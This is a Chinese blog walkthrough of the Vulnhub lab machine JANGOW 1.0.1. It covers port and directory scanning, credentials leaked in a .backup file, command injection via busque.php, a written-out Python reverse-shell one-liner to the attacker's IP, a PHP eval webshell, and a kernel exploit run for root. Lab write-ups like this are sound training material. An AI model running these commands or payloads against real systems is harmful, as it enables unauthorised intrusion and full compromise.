Loading

[Vulnhub] JANGOW: 1.0.1

下载地址

0x00 配置

攻击机 IP: 192.168.10.5

靶机 IP: 192.168.10.7

0x01 攻击

用 Namp 扫描靶机开放的端口

┌──(root㉿azwhikaru)-[~]
└─# nmap -sC -sV 192.168.10.4      
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-22 08:26 CST
Nmap scan report for loly.lc (192.168.10.4)
Host is up (0.00051s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-06-10 18:05  site/
|_
|_http-title: Index of /
MAC Address: 08:00:27:72:40:A1 (Oracle VirtualBox virtual NIC)
Service Info: Host: 127.0.0.1; OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.29 seconds

只开放了 FTP (21) 和 HTTP (80) 端口,FTP 不能匿名登录,继续扫 80 端口

┌──(root㉿azwhikaru)-[~]
└─# dirb http://192.168.10.4      

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Feb 22 08:27:16 2023
URL_BASE: http://192.168.10.4/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.10.4/ ----
+ http://192.168.10.4/server-status (CODE:403|SIZE:277)                                                                                                                                     
==> DIRECTORY: http://192.168.10.4/site/                                                                                                                                                    
                                                                                                                                                                                            
---- Entering directory: http://192.168.10.4/site/ ----
==> DIRECTORY: http://192.168.10.4/site/assets/                                                                                                                                             
==> DIRECTORY: http://192.168.10.4/site/css/                                                                                                                                                
+ http://192.168.10.4/site/index.html (CODE:200|SIZE:10190)                                                                                                                                 
==> DIRECTORY: http://192.168.10.4/site/js/                                                                                                                                                 
==> DIRECTORY: http://192.168.10.4/site/wordpress/                                                                                                                                          
                                                                                                                                                                                            
---- Entering directory: http://192.168.10.4/site/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                            
---- Entering directory: http://192.168.10.4/site/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                            
---- Entering directory: http://192.168.10.4/site/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                            
---- Entering directory: http://192.168.10.4/site/wordpress/ ----
+ http://192.168.10.4/site/wordpress/index.html (CODE:200|SIZE:10190)                                                                                                                       
                                                                                                                                                                                            
-----------------
END_TIME: Wed Feb 22 08:27:22 2023
DOWNLOADED: 13836 - FOUND: 3

┌──(root㉿azwhikaru)-[~]
└─# dirsearch -u http://192.168.10.4/   

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.10.4/-_23-02-22_08-52-22.txt

Error Log: /root/.dirsearch/logs/errors-23-02-22_08-52-22.log

Target: http://192.168.10.4/

[08:52:22] Starting: 
[08:52:22] 200 -  336B  - /.backup                                         
[08:52:23] 403 -  277B  - /.ht_wsr.txt                                     
[08:52:23] 403 -  277B  - /.htaccess.orig                                  
[08:52:23] 403 -  277B  - /.htaccess.bak1
[08:52:23] 403 -  277B  - /.htaccess.sample
[08:52:23] 403 -  277B  - /.htaccess.save
[08:52:23] 403 -  277B  - /.htaccess_orig
[08:52:23] 403 -  277B  - /.htaccess_extra
[08:52:23] 403 -  277B  - /.htaccess_sc
[08:52:23] 403 -  277B  - /.htaccessBAK
[08:52:23] 403 -  277B  - /.htaccessOLD
[08:52:23] 403 -  277B  - /.htaccessOLD2
[08:52:23] 403 -  277B  - /.html
[08:52:23] 403 -  277B  - /.htm
[08:52:23] 403 -  277B  - /.httr-oauth                                     
[08:52:23] 403 -  277B  - /.htpasswds
[08:52:23] 403 -  277B  - /.htpasswd_test
[08:52:23] 403 -  277B  - /.php                                            
[08:52:23] 403 -  277B  - /.php3                                           
[08:52:44] 403 -  277B  - /server-status                                    
[08:52:44] 403 -  277B  - /server-status/
[08:52:45] 301 -  311B  - /site  ->  http://192.168.10.4/site/              
[08:52:45] 200 -   10KB - /site/                                            
                                                                             
Task Completed

这里用了两个工具,dirb 和 dirsearch 来扫描,有时候因为不同工具的规则之类的问题,可能会扫出另外工具扫不出来的东西。发现了 /site/wordpress/ 和 /site 目录,还有一个 /.backup 文件。两个目录打开都是 Bootstarp 的示例页面,但在 /.backup 文件里面找到了账号密码

$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
echo "Connected successfully";
mysqli_close($conn);

看起来这个账号密码可以用来登录 FTP 和 MySQL 之类的服务,但是目前还没什么用。继续观察网页,发现右上角的 Buscar 按钮会跳转到 http://192.168.10.4/site/busque.php?buscar=。看起来这里可能有文件获取或者命令执行漏洞,尝试获取 /etc/passwd 无果,直接执行命令才有返回

# http://192.168.10.4/site/busque.php?buscar=uname%20-a

Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

那么能不能在这里反弹出来 Shell 呢?尝试用 Python3 脚本反弹 Shell,虽然看起来成功了 (连接没有被立刻关闭,浏览器处于加载状态),但实际上攻击机并不能监听到连接,猜测有防火墙,最后百度了一下题解才知道 443 端口是开的,可以用来反弹 Shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.5",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

连接上 Shell 后发现默认用户是 www,需要提权。搜索内核漏洞

image.png

尝试使用 linux/local/45010.c 漏洞,但发现靶机也连不上攻击机的 HTTP 服务,没法把文件传过去,所以这里还需要借助一下蚁剑工具的文件上传功能。在靶机的 HTTP 目录下写入一句话木马,然后用蚁剑连接

echo '<?php eval($_POST["cmd"]);' > cmd.php

image.png

上传漏洞文件到 /tmp目录

image.png

用 gcc 编译后执行漏洞,成功拿到 root 权限

www-data@jangow01:/tmp$ ls
ls
45010.c
systemd-private-868f2c0a00504e8780f938f4a0bdf8b0-systemd-timesyncd.service-lf8Ub9

www-data@jangow01:/tmp$ gcc 45010.c
gcc 45010.c

www-data@jangow01:/tmp$ ls
ls
45010.c
a.out
systemd-private-868f2c0a00504e8780f938f4a0bdf8b0-systemd-timesyncd.service-lf8Ub9

www-data@jangow01:/tmp$ chmod a+x ./a.out
chmod a+x ./a.out

www-data@jangow01:/tmp$ ./a.p^Hout
./a.out
[.] 
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.] 
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.] 
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff88003a7b7500
[*] Leaking sock struct from ffff880033c00780
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff8800381d4180
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff8800381d4180
[*] credentials patched, launching shell...

# whoami
whoami
root

# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

# 

最后获得 /root 目录下的 flag

# ls /root
ls /root
proof.txt

# cat /root/proof.txt
cat /root/proof.txt
                       @@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@&&&&&&&&&&&&&&                          
                       @  @@@@@@@@@@@@@@@&#   #@@@@@@@@&(.    /&@@@@@@@@@@                          
                       @  @@@@@@@@@@&( .@@@@@@@@&%####((//#&@@@&   .&@@@@@                          
                       @  @@@@@@@&  @@@@@@&@@@@@&%######%&@*   ./@@*   &@@                          
                       @  @@@@@* (@@@@@@@@@#/.               .*@.  .#&.   &@@@&&                    
                       @  @@@, /@@@@@@@@#,                       .@.  ,&,   @@&&                    
                       @  @&  @@@@@@@@#.         @@@,@@@/           %.  #,   %@&                    
                       @@@#  @@@@@@@@/         .@@@@@@@@@@            *  .,    @@                   
                       @@&  @@@@@@@@*          @@@@@@@@@@@             ,        @                   
                       @&  .@@@@@@@(      @@@@@@@@@@@@@@@@@@@@@        *.       &@                  
                      @@/  *@@@@@@@/           @@@@@@@@@@@#                      @@                 
                      @@   .@@@@@@@/          @@@@@@@@@@@@@              @#      @@                 
                      @@    @@@@@@@@.          @@@@@@@@@@@              @@(      @@                 
                       @&   .@@@@@@@@.         , @@@@@@@ *            .@@@*(    .@                  
                       @@    ,@@@@@@@@,   @@@@@@@@@&*%@@@@@@@@@,    @@@@@(%&*   &@                  
                       @@&     @@@@@@@@@@@@@@@@@         (@@@@@@@@@@@@@@%@@/   &@                   
                       @ @&     ,@@@@@@@@@@@@@@@,@@@@@@@&%@@@@@@@@@@@@@@@%*   &@                    
                       @  @@.     .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%*    &@&                    
                       @  @@@&       ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%/     &@@&&                    
                       @  @@@@@@.        *%@@@@@@@@@@@@@@@@@@@@&#/.      &@@@@&&                    
                       @  @@@@@@@@&               JANGOW               &@@@                          
                       @  &&&&&&&&&@@@&     @@(&@ @. %.@ @@%@     &@@@&&&&                          
                                     &&&@@@@&%       &/    (&&@@@&&&                                
                                       (((((((((((((((((((((((((((((





da39a3ee5e6b4b0d3255bfef95601890afd80709

#

0x02 总结

题目里烟雾弹比较多,很容易找错方向。

扫 .backup 文件的时候用 dirb 没扫出来,后来看了题解发现有这个文件,再用 dirsearch 才扫出来文件 (两个工具都用的默认参数),有时候因为规则之类的问题一个扫描工具不行的时候,可以配合多个工具使用。尽管我解题的时候完全没有用上 backup 里的 FTP 密码,但其实上传漏洞那步也可以不用一句话木马连,直接上传到 FTP;

/site/wordpress 并不是 WordPress 程序,只是个普通的页面,纯纯的烟雾弹;

反弹 Shell 的时候试了各种姿势,都弹不出来,后面发现是防火墙的问题,如果这步反弹不出来 Shell 而是直接用蚁剑的 WebShell,那么后面就没法运行漏洞提权。

posted @ 2023-02-22 15:44  20206675  阅读(51)  评论(0编辑  收藏  举报